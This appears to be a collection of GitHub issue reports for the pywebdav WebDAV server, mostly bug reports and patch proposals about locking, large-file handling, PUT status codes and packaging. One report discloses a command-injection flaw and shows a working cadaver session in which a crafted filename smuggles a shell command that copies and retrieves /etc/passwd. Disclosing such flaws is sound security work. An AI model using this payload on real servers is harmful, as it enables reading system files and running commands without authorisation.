netcharm / pywebdav Goto Github PK

What is the expected output? What do you see instead?

The interface of put() has changed from:
<     def put(self,uri,data):
to
>     def put(self, uri, data, content_type=None):

What version of the product are you using? 

SVN r63.


On what operating system?

MacOS 10.6.4


Please see attached for a diff.

What steps will reproduce the problem?
1. Install PyWebDav-0.94 with easy_install (as described on 
http://code.google.com/p/pywebdav/)
2. Run davserver:
$ davserver -D /home/bronikkk/test -J -n
3. Run cadaver client: cadaver localhost:8008
4. Try to lock some file from cadaver:
lock test.txt

The expected action: test.txt must be locked and output will be message about 
this. Instead of this there is an exception in PyWebDav, and there are no locks 
applied to the file. The corresponding script files (client.txt and server.txt) 
have been attached.

Versions of software:

OS:
Linux bronikkk-desktop 2.6.32-23-generic #37-Ubuntu SMP Fri Jun 11 07:54:58 UTC 
2010 i686 GNU/Linux
Ubuntu 10.04 LTS

Python:
Python 2.6.5

PyWebDav:
PyWebDAV server (version 0.9.4-dev)

cadaver:
cadaver 0.23.3
neon 0.29.0: Library build, IPv6, libxml 2.7.5, zlib 1.2.3.3, GNU TLS 2.8.3.
readline 6.1

Hi,

pywebdav need handle "Range" header information in do_GET request.

Example, when finder connect to webdav directory, it launch many do_get
request with "Range" header. Currently pywebdav send all content data.
Effect : bandwidth is overused !

Regards,
Stephane

What steps will reproduce the problem?
1.  Start davserver.
2.  Browse to a folder with subfolders using Nautilus.
3.  Subfolders are "unknown type" and cannot be entered (wrong icon is
displayed as well).

What is the expected output? What do you see instead?
Expect to see subfolders as folders.

What version of the product are you using? On what operating system?
SVN trunk.   Linux.

Please provide any additional information below.
Cadaver shows contents of folders with 404's, although it still allows you
to interact with them.   Very odd.

What steps will reproduce the problem?
1. Install from a copy of the svn source ("python setup.py install").

What is the expected output? What do you see instead?

Most of the source files are not included in the egg and a binary egg is 
installed even though zip_safe is set to false.

What version of the product are you using? On what operating system?

$ svn info
Path: .
URL: http://pywebdav.googlecode.com/svn/trunk
Repository Root: http://pywebdav.googlecode.com/svn
Repository UUID: e758e050-38b7-11de-a9fe-ad1e22fc3a8a
Revision: 72
Node Kind: directory
Schedule: normal
Last Changed Author: spamsch
Last Changed Rev: 72
Last Changed Date: 2011-02-17 07:44:16 -0500 (Thu, 17 Feb 2011)

$ Linux devmws8 2.6.18-238.12.1.el5 #1 SMP Tue May 31 13:22:04 EDT 2011 x86_64 
x86_64 x86_64 GNU/Linux

Please provide any additional information below.

To fix the problem comment out the import of distutils.core on line 67 and add 
the subpackages on line 69 (so that packages=['pywebdav', 'pywebdav.lib', 
'pywebdav.server'])

What steps will reproduce the problem?
1. Install PyWebDav-0.94 with easy_install (as described on 
http://code.google.com/p/pywebdav/)
2. Run davserver:
$ davserver -D /home/bronikkk/test -J -n
3. Run cadaver client: cadaver localhost:8008
4. Try to get some directory from cadaver:
get some_directory

The expected actions: getting the directory. Instead of this, there is a 
message "404 Not Found" in client. Furthermore, the prompt line "Enter local 
filename" appears occasionally, neither always nor never.
The corresponding script files (client.txt and server.txt) have been attached.

Versions of software:

OS:
Linux bronikkk-desktop 2.6.32-23-generic #37-Ubuntu SMP Fri Jun 11 07:54:58 UTC 
2010 i686 GNU/Linux
Ubuntu 10.04 LTS

Python:
Python 2.6.5

PyWebDav:
PyWebDAV server (version 0.9.4-dev)

cadaver:
cadaver 0.23.3
neon 0.29.0: Library build, IPv6, libxml 2.7.5, zlib 1.2.3.3, GNU TLS 2.8.3.
readline 6.1

What steps will reproduce the problem?
1. send a big file (more then 100mb) with a PUT request (using python requests 
module)


What is the expected output? What do you see instead?

expected is that the file will find it's merry way into the webdav server


What version of the product are you using? On what operating system?
I'm using python2.7 on winXP

Please provide any additional information below.

this is the log + backtrace:

2012-06-13 23:45:30,171 DEBUG do_PUT: uri = 
http://127.0.0.1:8008/webdav/xstreaming/CH2/0001_WildPuzzleROM_v0.8
.zip
2012-06-13 23:45:30,171 DEBUG do_PUT: headers = Host: 127.0.0.1:8008
Content-Length: 132463603
Accept-Encoding: identity, deflate, compress, gzip
Accept: */*
User-agent: SSP-IP
Depth: infinity
Cache-control: no-cache
Content-Type: multipart/form-data; 
boundary=138.134.121.23.1.5668.1339620329.109.1

2012-06-13 23:45:30,171 DEBUG do_PUT: Content-Length = 132463603
----------------------------------------
Exception happened during processing of request from ('127.0.0.1', 2621)
Traceback (most recent call last):
  File "c:\Python27\lib\SocketServer.py", line 582, in process_request_thread
    self.finish_request(request, client_address)
  File "c:\Python27\lib\SocketServer.py", line 323, in finish_request
    self.RequestHandlerClass(request, client_address, self)
  File "c:\Python27\lib\SocketServer.py", line 639, in __init__
    self.handle()
  File "c:\Python27\lib\BaseHTTPServer.py", line 337, in handle
    self.handle_one_request()
  File "c:\Python27\lib\BaseHTTPServer.py", line 325, in handle_one_request
    method()
  File "c:\Python27\lib\site-packages\pywebdav\lib\WebDAVServer.py", line 591, in do_PUT
    body = self._readNoChunkedData(atoi(l))
  File "c:\Python27\lib\site-packages\pywebdav\lib\WebDAVServer.py", line 617, in _readNoChunkedData
    return self.__readNoChunkedDataWithoutIterator(content_length)
  File "c:\Python27\lib\site-packages\pywebdav\lib\WebDAVServer.py", line 631, in __readNoChunkedDataWithoutIte
rator
    return self.rfile.read(content_length)
  File "c:\Python27\lib\socket.py", line 378, in read
    data = self._sock.recv(left)
error: [Errno 10055] An operation on a socket could not be performed because 
the system lacked sufficient buffe
r space or because a queue was full
----------------------------------------


my guess is that PyWebDev is trying to read all the 132463603 byte in one recv, 
which isn't possible.

files that big should be streamed, chunk by chunk.

after fiddling with the code, I've found out I need to setup the server to 
HTTP1.1, which wasn't clear and wasn't on the command line options...

when I turn it on I got this trace back on any file I tried PUTting:

Exception happened during processing of request from ('127.0.0.1', 3438)
Traceback (most recent call last):
  File "c:\Python27\lib\SocketServer.py", line 582, in process_request_thread
    self.finish_request(request, client_address)
  File "c:\Python27\lib\SocketServer.py", line 323, in finish_request
    self.RequestHandlerClass(request, client_address, self)
  File "c:\Python27\lib\SocketServer.py", line 639, in __init__
    self.handle()
  File "c:\Python27\lib\BaseHTTPServer.py", line 337, in handle
    self.handle_one_request()
  File "c:\Python27\lib\BaseHTTPServer.py", line 325, in handle_one_request
    method()
  File "c:\Python27\lib\site-packages\pywebdav\lib\WebDAVServer.py", line 584, in do_PUT
    dc.put(uri, self._readChunkedData(), content_type)
  File "c:\Python27\lib\site-packages\pywebdav\server\fshandler.py", line 259, in put
    raise DAV_Error, 424
DAV_Error: (424, '')
----------------------------------------


after  adding some debug I found out the _readChunkedData is actually using 
http://en.wikipedia.org/wiki/Chunked_transfer_encoding

isn't there anther way of streaming big files into PyWebDAV ?

I've been debugging a webdav application used internally at the place where I 
work. To verify correct behaviour I used PyWebDAV. Now I'm suspecting PyWebDAV 
is not fully standards compliant. Please correct me if I'm wrong!

What steps will reproduce the problem?

1. Start PyWebDAV mounted to an empty folder:
$ rm -fr repos && mkdir repos && davserver -D repos -n -J

2. Upload first one file. I do this using the "nd" command line utility: 
$ nd -p arandomfile.txt http://localhost:8008/uploadedfile.txt

Notice how PyWebDAV returns a status code 201 (Created). This is correct 
behaviour (since the file didn't exist before, it was created).

3. Upload a second (different) file: nd -p anotherrandomfile.txt 
http://localhost:8008/uploadedfile.txt

Notice how PyWebDAV returns a status code 201 (Created). According to RFC 
2518[1], no specific HTTP response codes are defined for PUTs. However, if you 
can backtrack to RFC 2068[2] it states that "If a new resource is created, the 
origin server MUST inform the user agent via the 201 (Created) response.  If an 
existing resource is modified, either the 200 (OK) or 204 (No Content) response 
codes SHOULD be sent to indicate successful completion of the request.".

Expected outcome: Since the second put done in (3) above is not creating the 
file, but rather modifying it, I would expect pywebdav to return either a 200 
or a 204.

[1] https://tools.ietf.org/html/rfc2518#page-36
[2] https://tools.ietf.org/html/rfc2068#page-52

What version of the product are you using? On what operating system?

PyWebDAV 0.9.8 (just recently) installed through pip. I'm running Ubuntu Linux 
Lucid Lynx 10.04 LTS.

Please provide any additional information below.

I have no idea whether 200 or 204 response code is to be preferred. I'd love to 
know.

Hi,

When I launch pywebdav with config.ini file (pywebdav -c config.ini) all
boolean
value enabled doesn't work.

verbose = 1
noauth = 1
mysql_auth=1
mimecheck = 1
lockemulation = 1
...

because value is interpreted like string variable.

Example :

::

    if handler._config.DAV.lockemulation is False:

handler._config.DAV.lockemulation is a string with "1" value.

This is a patch to fix this issue.

Regards,
Stephane

Currently the DAVServer seems to use roll-your-own magic.py. There is a
builtin mimetypes module in python. The module also has a less strict
option that may be considered for inclusion at a later date via a
configuration option.

What steps will reproduce the problem?
1. -d status will not work if server is running


patch attached                                                                 

Hi,

currently, PyWebDAV use two namespaces :

* DAV
* DAVServer

I suggest to move this two namespaces to "pywebdav".

Then, we'll have :

* pywebdav.DAV
* pywebdav.Server

Well, I think "DAV" namespace isn't well-adapted. I suggest this :

pywebdav.lib
pywebdav.server

I've planned to append wsgi support, then I suggest this modules files names :

pywebdav/lib/wsgi_webdav…app.py
pywebdav/lib/webdav_http_request_handler.py

Actual "WebDAVServer.py" file would be renamed to
"webdav_http_request_handler.py".

Other proposition : if one developer don't want server script but he want
only use wsgi webdav app in her application, there would perfect if he can
install only pywebdav.lib package without pywebdav.server part !

Then, I suggest to split pywebdav to two packages : 

pywebdav.lib
pywebdav.server

What do you think about all this suggests ?

Thanks for your comment,
Regards,
Stephane

uri is initialized too late in do_PUT.
Patch is attached.

Here is a patch to add REPORT support.
It adds on iface REPORT_FILTERS that allow to define tuple of (namespace,
tag) to search for filter rules.
It extends get_childs to allow to pass the filter Element.
It allows to use propname with '-' by replacing it with '_'.
It replaces some private attributes of PROPFIND to allow to use it in REPORT.

What steps will reproduce the problem?
1. Start DAV server.

2. Attempt to mount it using https:

gvfs-mount davs://localhost:8008/

What is the expected output? What do you see instead?

This should fail, however, the client should get a graceful failure, since 
HTTPS is not supported.

Instead, client sees:

Error mounting location: HTTP Error: Connection terminated unexpectedly

And the server console prints:

Exception happened during processing of request from ('127.0.0.1', 41515)
Traceback (most recent call last):
  File "/usr/lib/python2.6/SocketServer.py", line 558, in process_request_thread
    self.finish_request(request, client_address)
  File "/usr/lib/python2.6/SocketServer.py", line 320, in finish_request
    self.RequestHandlerClass(request, client_address, self)
  File "/usr/lib/python2.6/SocketServer.py", line 615, in __init__
    self.handle()
  File "/usr/local/lib/python2.6/dist-packages/PyWebDAV-0.9.4-py2.6.egg/DAV/AuthServer.py", line 229, in handle
    AuthRequestHandler.handle(self)
  File "/usr/local/lib/python2.6/dist-packages/PyWebDAV-0.9.4-py2.6.egg/DAV/AuthServer.py", line 121, in handle
    self.send_error(400, "Bad request syntax (%s)" % `requestline`)
  File "/usr/lib/python2.6/BaseHTTPServer.py", line 353, in send_error
    self.log_error("code %d, message %s", code, message)
  File "/usr/lib/python2.6/BaseHTTPServer.py", line 425, in log_error
    self.log_message(format, *args)
  File "/usr/local/lib/python2.6/dist-packages/PyWebDAV-0.9.4-py2.6.egg/DAV/WebDAVServer.py", line 720, in log_message
    *tuple(('- %s - ' + args[0],) + (self.headers.get('User-Agent', '?'),) + args[1:])
AttributeError: DAVRequestHandler instance has no attribute 'headers'

What version of the product are you using? On what operating system?

0.9.4 on Ubuntu.

Please provide any additional information below.

Patch to fix this issue is provided.

... therefore handler._config.DAV.getboolean('lockemulation') is always
False while the handler._config.DAV.lockemulation is True.

A possible fix:

{{{
--- DAVServer/server.py (revision 43)
+++ DAVServer/server.py (working copy)
@@ -166,7 +166,7 @@
             self.__dict__.update(**kw)

         def getboolean(self, name):
-            return (str(getattr(self, name, 0)) in ('1', "yes", "true", "on"))
+            return (str(getattr(self, name, 0)).lower() in ('1', "yes",
"true", "on"))

     class DummyConfig:
         DAV = DummyConfigDAV(**kw)
}}}

Hi,

do_GET action fail with Nautilus 2.26.2 on Ubuntu.

I've did the test with :

* last pywebdav stable version 0.9.3
* last pywebdav trunk version r40

I've did the test with :

* file < 500 Ko
* file around 2.5 Mo
* file around 250 Mo

all fail.

Can you confirm this bug ?

Regards,
Stephane

Last-Modified must follow RFC 822, so we must use GMT date
And creationdate must follow RFC 3339, so we must also use GMT date if we
don't set time offset.

Here is a patch.

What steps will reproduce the problem?
1. Start PyWebDAV server.
2. Install and run the litmus WebDAV test suite.

http://www.webdav.org/neon/litmus/

What is the expected output? What do you see instead?

Numerous tests fail, only around 75% pass.

What version of the product are you using? On what operating system?

0.9.4 on Ubuntu.

Please provide any additional information below.

I will be providing a series of patches to address each failed test.

What steps will reproduce the problem?
1. Any get request gets an extra number prior to the request

Is this fixed in trunk already?

Here is some patches I needed to apply, in order to build Mandriva RPM and
use the lib for OpenERP.

As usual, everything is on Igloo:
http://git.hellug.gr/?p=xrg/python-webdav

Add depth=="infinity" support in PROPFIND action.

May be I'll propose a patch...

Here is a patch that fix propfind to find all the properties.

I have setup Nginx to map port 443 of a host to an internal server:

server {
  listen       443;
  server_name  external.example.com;

  location / {
      proxy_pass_header Server;
      proxy_set_header  Host $http_host;
      proxy_set_header  X-Forwarded-For $remote_addr;
      proxy_pass        http://192.168.1.6:8008;
  }
}

On this host I run davserser like this:

# sudo -u user davserver -H 192.168.1.6 -u user -p password -D /home/user 
--verbose
INFO:pywebdav:Starting up PyWebDAV server (version 0.9.4-dev)
INFO:pywebdav:chunked_http_response feature ON
INFO:pywebdav:http_request_use_iterator feature OFF
INFO:pywebdav:http_response_use_iterator feature OFF
INFO:DAVServer.fshandler:Initialized with /home/user-http://192.168.1.6:8008/
INFO:pywebdav:Serving data from /home/user
Listening on 192.168.1.6 (8008)
INFO:root:Successfully authenticated user user
INFO:DAV.propfind:PROPFIND: Depth is 1, URI is http://external.example.com/
INFO:DAVServer.fshandler:get_childs: Childs ['http://192.168.1.6:8008/foo', 
'http://192.168.1.6:8008/bar']

However, as you can see from the verbose output of "get_childs" already: it 
uses the internal address for the listing and therefore all the links do not 
work.

Even when it would use the URI which is mentioned for 
"INFO:DAV.propfind:PROPFIND" this won't work properly: it is using "http" for 
the protocol instead of "https".

I am not sure about how to solve this: either relative links should get used or 
somehow the external base URI needs to be configured.

I have taken the relative URI approach now, by changing the following in 
mk_prop_response and mk_propname_response (DAV/propfind.py):

    huri=doc.createTextNode(uparts[0]+'://'+'/'.join(uparts[1:2]) + urllib.quote(fileloc))
to
    huri=doc.createTextNode(urllib.quote(fileloc))

This must have regressed somehow, since it worked before, but now failed when 
I've started using it again (and upgraded to 0.9.4).

What is the expected output? What do you see instead?
According to this document
http://greenbytes.de/tech/webdav/webdav-redirector-list.html no auth in
clear WindowsXP is supported. So i've run pywebdav as "davserver -M -D
/soft --host 0.0.0.0 --port 80 --no-auth "

But when I've tried to use net use * http://<ip_server>/<dir_name> it
throws with "System error 59 has occurred". An unexpected network error
occurred.

PanDAV (http://ivoras.sharanet.org/projects/pandav.html) work with this
configuration.

Server is running on Centos 5.2 and python 2.4

What steps will reproduce the problem?
1. Connect to davserver with HTTP/1.0 client
2. davserver returns chunked response
3. Fail

What is the expected output? What do you see instead?


What version of the product are you using? On what operating system?
SVN Head

Please provide any additional information below.
HTTP/1.0 doesn't support chunked responses.  While HTTP/1.0 user agents are
not common, some proxies and utilities still utilize it (I discovered the
issue when attempting to proxy to davserver from Nginx, which only supports
HTTP/1.0 to proxied backends).

Fix seems simple enough.   Patch attached.

What steps will reproduce the problem?
1. Create two folders f.ex. dir1 and dir2
2. Move dir1 into dir2 using nautilus

What is the expected output? What do you see instead?
nautilus aborts with a dialog box: "Error while copying dir1", "Not found"

What version of the product are you using? On what operating system?
Tried just now with svn rev. 51. nautilus is at 2.28.4-1. gnome-vfs at
2.24.2-2.

Just tell me if I could provide anything else of use (ngrep, davserver
verbose output).

Forwarded from Debian:

python-webdav returns only the properties of a single namespace, not
all of them. That's because the two loops in
DAV.propfind.PROPFIND.mk_propname_response() are sequential instead of
nested. Patch attached.

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=631384

Proposed patch is at
http://bugs.debian.org/cgi-bin/bugreport.cgi?msg=18;filename=propfind-ns-fix.pat
ch;att=1;bug=631384

What steps will reproduce the problem?
1. Have a large enough file to exhaust your memory
2. start the server
3. try to get the file

I'm using the last release Version 0.9.4, I read in the code, that the file 
handler .read()'s the complete file into a string. I saw there is another 
implementation, but i dont know how to force it to be used.

The Client is OSX 10.6.

Thanks for the nice Tool, its especially awesome because no other small server 
is as compatible as this one.

I'm getting flooded with following exception:
----------------------------------------
Exception happened during processing of request from ('10.10.10.102', 56758)
Traceback (most recent call last):
  File "/usr/lib/python2.6/SocketServer.py", line 560, in process_request_thread
    self.finish_request(request, client_address)
  File "/usr/lib/python2.6/SocketServer.py", line 322, in finish_request
    self.RequestHandlerClass(request, client_address, self)
  File "/usr/lib/python2.6/SocketServer.py", line 617, in __init__
    self.handle()
  File "/usr/lib/pymodules/python2.6/DAV/AuthServer.py", line 229, in handle
    AuthRequestHandler.handle(self)
  File "/usr/lib/pymodules/python2.6/DAV/AuthServer.py", line 149, in handle
    method()
  File "/usr/lib/pymodules/python2.6/DAV/WebDAVServer.py", line 293, in do_GET
    status_code = self._HEAD_GET(with_body=True)
  File "/usr/lib/pymodules/python2.6/DAV/WebDAVServer.py", line 277, in _HEAD_GET
    content_type, headers)
  File "/usr/lib/pymodules/python2.6/DAV/WebDAVServer.py", line 136, in send_body_chunks_if_http11
    self.send_body_chunks(DATA, code, msg, desc, ctype, headers)
  File "/usr/lib/pymodules/python2.6/DAV/WebDAVServer.py", line 201, in send_body_chunks
    self._append(DATA.read())
  File "/usr/lib/pymodules/python2.6/DAVServer/fshandler.py", line 66, in read
    data = self.__fp.read(length)
MemoryError
----------------------------------------

Attached is a XML output generated by pywebdav 0.9.4.1 (ubuntu 64).

As one can see, the namespace is invalid for the element executable (ns1).

This error doesn't occur in version 0.9.3 (ubuntu 10.04 LTS). Probably an error 
in DAV/propfind.py. As I'm not an expert in pywebdav, I let you finish the 
debugging: the diff between the two files (attached) shows 3 modifications all 
about the namespace (I guest the bug will appear clearly to the one who makes 
the changes).

I notice this error while using webdav support of openerp trying to mount it 
with linux/davfs2.

best regards,  
    Julien.

What steps will reproduce the problem?
1. Open webdav://localhost/ using konqueror or dolphin
2. Choose "create new textfile" from the menu
or
2. Copy/Move any local file to a new webdav-file

What is the expected output? What do you see instead?
KDE shows the error message "the file or folder localhost doesn't exist".
Though upon a refresh the new file is shown and is empty (even if it should
be a copied non-empty file)

What version of the product are you using? On what operating system?
Tried with r51 just now. kdelibs are at 4.4.1.

If I can provide any more details (ngrep, verbose log), just let me know.

use python-magic from file
but this requires some additions to python-magic.
i attached a patch for pywebdav

for information about the python-magic problem see 
http://bugs.debian.org/529354

What steps will reproduce the problem?
1. Install PyWebDAV 0.9.4 and run 'python server.py -D /tmp -n -J'
2. Open Windows Explorer and connect to '\\localhost:8008'

What is the expected output? What do you see instead?
I see Microsoft-WebDAV-MiniRedir/6.1.7600 do 4 request in the log window: 
OPTIONS, PROPFIND, PROPFIND, PROPFIND
Then after about 10 seconds, Windows Eplorer pops up a window saying cannot 
access \\localhost:8008

cadaver works fine.

What version of the product are you using? On what operating system?

PyWebDav 0.9.4, on Windows 7 64bit, Python 2.6 cygwin

Please provide any additional information below.

To reproduce:
1. Download PyWebDAV-0.9.3 and start the server from DAVServer-folder with
for example:
PYTHONPATH=../ python server.py -D /tmp -n

2. Get cadaver-webdav client (http://www.webdav.org/cadaver/)

3. Run these commands to get /etc/passwd. Any other command can be run
instead also.

user@host:~$ touch dummy
user@host:~$ cadaver http://localhost:8008/
dav:/> put dummy '\'||cp $\'\\057etc\\057passwd\'\''
Uploading dummy to `/%27%7c%7ccp%20%24%27%5c057etc%5c057passwd%27%27':
succeeded.
dav:/> cp '\'||cp $\'\\057etc\\057passwd\'\'' passwd
Copying `/%27%7c%7ccp%20%24%27%5c057etc%5c057passwd%27%27' to `/passwd': 
succeeded.
dav:/> get passwd passwd
Downloading `/passwd' to passwd:
Progress: [=============================>] 100,0% of 2176 bytes succeeded.
dav:/> 
Connection to `localhost' closed.
user@host:~$ head passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh


The reason is that fshandler.py makes extensive use of os.system and does
not escape the arguments. The shutil python module would be better suited
for the purpose.

Debian has some patches that will be good to include.

Hi,

I note that pywebdav can handle only request at once.

I suggest to add thread support like explain in this article :
http://blog.doughellmann.com/2007/12/pymotw-basehttpserver.html

Otherwise, in future, if pywebdav drop BaseHTTPServer to only use WSGI
Server maybe we don't need to add thread support in BaseHTTPServer ?

Regards,
Stephane

What steps will reproduce the problem?
1. Run PyWebDAV server.
2. DELETE an item which does not exist.

What is the expected output? What do you see instead?

a 404 should be returned. Instead the daemon produces an exception.

Traceback (most recent call last):
  File "/usr/lib/python2.6/SocketServer.py", line 558, in process_request_thread
    self.finish_request(request, client_address)
  File "/usr/lib/python2.6/SocketServer.py", line 320, in finish_request
    self.RequestHandlerClass(request, client_address, self)
  File "/usr/lib/python2.6/SocketServer.py", line 615, in __init__
    self.handle()
  File "/usr/local/lib/python2.6/dist-packages/PyWebDAV-0.9.4-py2.6.egg/DAV/AuthServer.py", line 234, in handle
    AuthRequestHandler.handle(self)
  File "/usr/local/lib/python2.6/dist-packages/PyWebDAV-0.9.4-py2.6.egg/DAV/AuthServer.py", line 154, in handle
    method()
  File "/usr/local/lib/python2.6/dist-packages/PyWebDAV-0.9.4-py2.6.egg/DAV/WebDAVServer.py", line 448, in do_DELETE
    res=dl.delone() or 204
  File "/usr/local/lib/python2.6/dist-packages/PyWebDAV-0.9.4-py2.6.egg/DAV/delete.py", line 48, in delone
    return dc.delone(self.__uri)
  File "/usr/local/lib/python2.6/dist-packages/PyWebDAV-0.9.4-py2.6.egg/DAVServer/fshandler.py", line 342, in delone
    return delone(self,uri)
  File "/usr/local/lib/python2.6/dist-packages/PyWebDAV-0.9.4-py2.6.egg/DAV/davcmd.py", line 93, in delone
    return dc.rm(uri)
  File "/usr/local/lib/python2.6/dist-packages/PyWebDAV-0.9.4-py2.6.egg/DAVServer/fshandler.py", line 318, in rm
    raise DAV_NotFound
DAV_NotFound: (404, '')

What version of the product are you using? On what operating system?

0.9.4 on Ubuntu.

Please provide any additional information below.

Patch is provided.

Hi,

This is a patch to improve pywebdav logging mechanism.

This information contained in config.ini :

::

    [DAV]

    # Verbose?
    # verbose enabled is like loglevel = INFO
    verbose = 1

    #log level : DEBUG, INFO, WARNING, ERROR, CRITICAL (Default is WARNING)
    #loglevel = WARNING

This information information displayed with davserver --help 

::

    -l, --loglevel  Select the log level : DEBUG, INFO, WARNING, ERROR,
CRITICAL
                    Default is WARNING


What do you think about this patch ?

Can I commit it ?

You can test version with this patch here :

http://bitbucket.org/harobed/pywebdav/

Regards,
Stephane

I have a patch at 
http://code.google.com/r/jordanhollinger-pywebdav/source/detail?r=4ba287aca33f6e
79bea637b952d0cfcba086d13c which allows an htpasswd file to be used for 
authentication. (It is my understanding that this is quite common among webdav 
servers.)

If you like it, I'd be happy to submit an hg patch, or I suppose you could just 
merge it in.

According to
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=540475
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=540476
package python-xml is to be removed from Debian, because upstream seems to
be unmaintained.

Please remove dependency on PyXML.

Thx for pywebdav!

Here is a patch that adds gzip content encoding if it is accepted by the
client.

Hi

PyWebDAV need to use iterator to read / write data.

Example, if I read 600Mo, FileSystemHandler.get_data read all the data in a
python variable, i.e. in the memory.

Another example, if I write 600Mo, PyWebDAV read all data from socket in a
python variable then use FileSystemHandler.put to write the data to file
system.

To avoid this issue, PyWebDAV need to use iterator like FileObject.

What do you think about ?

Regards,
Stephane

this should fix the --port option

Hi,

I found one issue in pywebdav r35 (impact presumably previous revision).

Put action (copy one file from Mac OS X desktop to pywebdav server) fail
when I use Apple Finder client.

What I see in Finder GUI :

1. progress bar show copy data progression
2. error message say :

"""
The operation cannot be completed because you do not have sufficient
privileges for some of the items.
"""

Put action work well on :

* cadaver
* gnome nautilus
* konqueror

Currently, I try to fix this bug.

Regards,
Stephane

In my non-layer opinion the magic.py file is not distributable by 3rd party
software, it is copyrighted with "all rights reserved". There is no
explicitly given right to even use it or distribute it by others. And
that's a serious problem. Please ask the author whether is he willing to
license the code under a permissive license.

What steps will reproduce the problem?
1. rename a folder on a DAV share
2.
3.

What is the expected output? What do you see instead?
Expect folder to be renamed.   Folder is renamed, but all contents are deleted.

What version of the product are you using? On what operating system?
Trunk, Linux server, Nautilus client.

Please provide any additional information below.

Here is a patch that fixes the behavior of If-None-Match with *

I found not straightforward the mysql setup, so I added some logs and docs in 
the code.

file: dbconn
 * renamed the db field to dbh: the db is used both for the dbname and the dbhandler field
 * verbose logs in case of errors

file: mysqlauth
 * support for one-shot table initialization
 * better table documentation
 * suggestion: don't use the Write reserverd word of mysql as a table field.

HTH+LetMeKnow+Peace,
R.

Would be nice to have more options to control the daemon. Specifically,
where the daemon creates log err and pid files.

I've created a small patch (UNTESTED) which attempts to add these.

Hi,

here is a patch, that made the server work on my windows box.
I never created one, and I did this with mercurial, so I hope the format is ok.

~Martin